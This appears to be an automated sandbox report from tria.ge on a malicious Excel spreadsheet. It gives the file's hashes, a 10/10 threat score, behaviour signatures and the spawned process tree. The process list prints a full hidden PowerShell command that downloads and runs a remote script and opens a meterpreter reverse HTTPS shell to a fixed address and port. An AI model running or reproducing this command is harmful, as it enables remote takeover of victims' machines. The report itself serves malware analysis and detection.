Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    25s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    08/07/2024, 22:29

General

  • Target

    e1fd15634a2886d0ac9574f1c462c895e374a5f8b8a88321a6242abed400f111.xls

  • Size

    44KB

  • MD5

    c75e74d9a3c2057a5f53f4eed1fd7d52

  • SHA1

    06279205c38c809a596bc25c3ebade01a1aaf55f

  • SHA256

    e1fd15634a2886d0ac9574f1c462c895e374a5f8b8a88321a6242abed400f111

  • SHA512

    a8b8ea46df6bf43bda2d23b4943b8732cc69f6404c839649570c42004a919fe668a19760bb4ea363b7e023f291a1c358f4041b0ca1c3868632444e563166382b

  • SSDEEP

    768:Ctvo+rzZk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJxSjWRJFlmQQc82J9acM9acyL:qZk3hbdlylKsgqopeJBWhZFGkE+cL2Nc

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\e1fd15634a2886d0ac9574f1c462c895e374a5f8b8a88321a6242abed400f111.xls
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2624
    • C:\Windows\SysWOW64\wscript.exe
      wscript C:\Users\Public\config.vbs
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2560
      • C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1780
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2012

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CSCL035JXFWZ292UGY8Z.temp

    Filesize

    7KB

    MD5

    1f7aa130aec8b55e79810d2b205b72af

    SHA1

    222a8283498945d7dcb584be0e0f6a590d3ac08e

    SHA256

    2e5999548795c8f9378fc6139c9977ab840842550967c871ffb7ab9d91b79dfc

    SHA512

    253c2746cf5b9873a1c9d223a59ba7ec46b336408777397e5a66f2c3dbe4d125b92f6d654e309bbceb402cd09d22ba1291e2d23bca65d9f34a3dc6a8d49c1c2a

  • C:\Users\Public\config.vbs

    Filesize

    461B

    MD5

    ce52ab154163c511f0efa6a61e22ab64

    SHA1

    9f12cc215e15802eddcb02cb5370ef16b21fa3a6

    SHA256

    df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

    SHA512

    cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

  • memory/2012-46-0x00000000023A0000-0x00000000023A8000-memory.dmp

    Filesize

    32KB

  • memory/2012-45-0x000000001B650000-0x000000001B932000-memory.dmp

    Filesize

    2.9MB

  • memory/2624-10-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-38-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-6-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2624-9-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-13-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-12-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-7-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-18-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-39-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-34-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-37-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-32-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-2-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-19-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-27-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-5-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-3-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-4-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-1-0x000000007293D000-0x0000000072948000-memory.dmp

    Filesize

    44KB

  • memory/2624-49-0x000000007293D000-0x0000000072948000-memory.dmp

    Filesize

    44KB

  • memory/2624-50-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-51-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-52-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB

  • memory/2624-53-0x0000000000770000-0x0000000000870000-memory.dmp

    Filesize

    1024KB